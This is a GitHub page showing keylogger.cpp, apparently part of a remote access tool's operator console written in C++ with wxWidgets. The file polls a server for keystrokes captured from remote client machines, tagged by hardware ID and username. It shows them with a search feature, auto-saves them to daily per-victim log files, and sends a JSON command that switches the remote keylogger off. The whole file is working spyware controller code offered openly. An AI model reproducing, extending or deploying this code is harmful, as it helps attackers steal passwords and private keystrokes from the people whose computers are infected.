-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathkeylogger.cpp
More file actions
143 lines (121 loc) · 4.54 KB
/
Copy pathkeylogger.cpp
File metadata and controls
143 lines (121 loc) · 4.54 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
#include "keylogger.h"
#include "socket.h"
#include <wx/stdpaths.h>
#include <wx/filename.h>
#include <wx/filedlg.h>
#include <wx/msgdlg.h>
KeyloggerDialog::KeyloggerDialog(wxWindow* parent, const wxString& clientName,
const wxString& hwid, int clientId,
const wxString& clientsDir, const wxString& username)
: wxDialog(parent, wxID_ANY, "Keylogger - " + clientName,
wxDefaultPosition, wxSize(640, 400),
wxDEFAULT_DIALOG_STYLE | wxMINIMIZE_BOX),
m_hwid(hwid), m_clientId(clientId), m_clientsDir(clientsDir),
m_username(username), m_checks(0)
{
wxBoxSizer* mainSizer = new wxBoxSizer(wxVERTICAL);
m_textDisplay = new wxTextCtrl(this, wxID_ANY, "",
wxDefaultPosition, wxDefaultSize,
wxTE_MULTILINE | wxTE_READONLY | wxTE_RICH2 | wxTE_DONTWRAP);
m_textDisplay->SetFont(wxFont(9, wxFONTFAMILY_TELETYPE, wxFONTSTYLE_NORMAL, wxFONTWEIGHT_NORMAL));
mainSizer->Add(m_textDisplay, 1, wxEXPAND | wxALL, 5);
wxBoxSizer* bottomSizer = new wxBoxSizer(wxHORIZONTAL);
m_searchCtrl = new wxTextCtrl(this, wxID_ANY, "",
wxDefaultPosition, wxSize(200, -1), wxTE_PROCESS_ENTER);
bottomSizer->Add(new wxStaticText(this, wxID_ANY, "Search:"),
0, wxALIGN_CENTER_VERTICAL | wxRIGHT, 4);
bottomSizer->Add(m_searchCtrl, 0, wxRIGHT, 8);
bottomSizer->AddStretchSpacer();
wxButton* btnSave = new wxButton(this, wxID_ANY, "Save");
bottomSizer->Add(btnSave, 0);
mainSizer->Add(bottomSizer, 0, wxEXPAND | wxLEFT | wxRIGHT | wxBOTTOM, 5);
SetSizer(mainSizer);
m_searchCtrl->Bind(wxEVT_KEY_DOWN, &KeyloggerDialog::OnSearchKeyDown, this);
Bind(wxEVT_BUTTON, &KeyloggerDialog::OnSave, this, btnSave->GetId());
Bind(wxEVT_CLOSE_WINDOW, &KeyloggerDialog::OnClose, this);
m_timer.SetOwner(this);
Bind(wxEVT_TIMER, &KeyloggerDialog::OnTimer, this);
m_timer.Start(500);
Centre();
}
KeyloggerDialog::~KeyloggerDialog()
{
m_timer.Stop();
}
void KeyloggerDialog::OnTimer(wxTimerEvent&)
{
if (!m_hwid.empty())
{
std::string data = ServerManager::GetKeyloggerData(m_clientId);
if (!data.empty())
{
wxString keys = wxString::FromUTF8(data);
AppendKeys(keys);
// Auto-save to daily TXT file
try
{
wxString userDir = m_clientsDir + "\\" + m_username;
wxFileName::Mkdir(userDir, wxS_DIR_DEFAULT, wxPATH_MKDIR_FULL);
wxString logFile = userDir + "\\" +
wxString::Format("keylog_%s.txt", wxDateTime::Now().Format("%Y-%m-%d"));
wxFile f(logFile, wxFile::write_append);
if (f.IsOpened())
{
f.Write(keys);
f.Close();
}
}
catch (...) {}
}
}
m_checks++;
}
void KeyloggerDialog::OnClose(wxCloseEvent&)
{
m_timer.Stop();
ServerManager::SendToClient(m_clientId, "{\"cmd\":\"keyLogger\",\"isON\":\"false\"}");
Destroy();
}
void KeyloggerDialog::OnSearchKeyDown(wxKeyEvent& event)
{
if (event.GetKeyCode() == WXK_RETURN)
{
wxString search = m_searchCtrl->GetValue();
if (search.empty()) return;
wxString text = m_textDisplay->GetValue();
m_textDisplay->SetStyle(0, text.length(),
wxTextAttr(wxColour(0, 0, 0), wxColour(255, 255, 255)));
int start = 0;
while (true)
{
int found = text.find(search, start);
if (found == wxNOT_FOUND) break;
m_textDisplay->SetStyle(found, found + search.length(),
wxTextAttr(wxColour(0, 0, 0), wxColour(255, 255, 0)));
start = found + search.length();
}
}
event.Skip();
}
void KeyloggerDialog::OnSave(wxCommandEvent&)
{
wxString fullPath = m_clientsDir + "\\" + m_username;
wxFileName::Mkdir(fullPath, wxS_DIR_DEFAULT, wxPATH_MKDIR_FULL);
wxString fileName = wxString::Format("Keylogger_%s.txt",
wxDateTime::Now().Format("%m-%d-%Y %H;%M;%S"));
wxFileDialog dlg(this, "Save Keylogger File", fullPath, fileName,
"Text files (*.txt)|*.txt", wxFD_SAVE | wxFD_OVERWRITE_PROMPT);
if (dlg.ShowModal() == wxID_OK)
{
wxFile file(dlg.GetPath(), wxFile::write);
if (file.IsOpened())
{
file.Write(m_textDisplay->GetValue());
file.Close();
}
}
}
void KeyloggerDialog::AppendKeys(const wxString& keys)
{
m_textDisplay->AppendText(keys);
}